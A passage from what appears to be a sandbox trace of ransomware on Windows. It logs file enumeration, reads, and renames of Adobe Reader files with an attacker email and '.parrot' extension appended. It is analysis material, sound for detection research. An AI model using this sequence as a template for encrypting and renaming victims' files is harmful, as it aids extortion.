lpString2=".") returned 1 [0245.456] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.456] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0245.458] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.458] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0245.459] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.460] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c0, lpOverlapped=0x0) returned 1 [0245.460] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.460] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.465] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.465] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0245.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.466] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6bf, lpOverlapped=0x0) returned 1 [0245.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.467] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.470] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.473] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.473] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.473] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0245.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.474] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.475] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.475] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.476] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.477] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.481] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.482] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.482] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.483] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.484] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.487] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.487] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.489] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.489] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.493] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.494] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.499] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.499] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.501] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.501] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.502] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.505] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.507] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.507] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.508] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.508] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.513] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.513] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.514] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.514] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0245.515] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.516] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.521] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.523] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.523] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.524] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.524] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.527] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.528] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.529] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.529] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.530] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.531] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.534] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.534] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.535] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.536] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0245.536] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.537] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.540] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.540] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.542] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.542] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.543] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.543] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.547] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.547] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.587] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.587] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.588] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.588] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.594] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.594] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.595] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.596] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.596] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.597] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.602] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.602] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.603] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.603] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1800, lpOverlapped=0x0) returned 1 [0245.604] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.605] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.610] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.611] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.611] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.612] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.613] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.618] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) 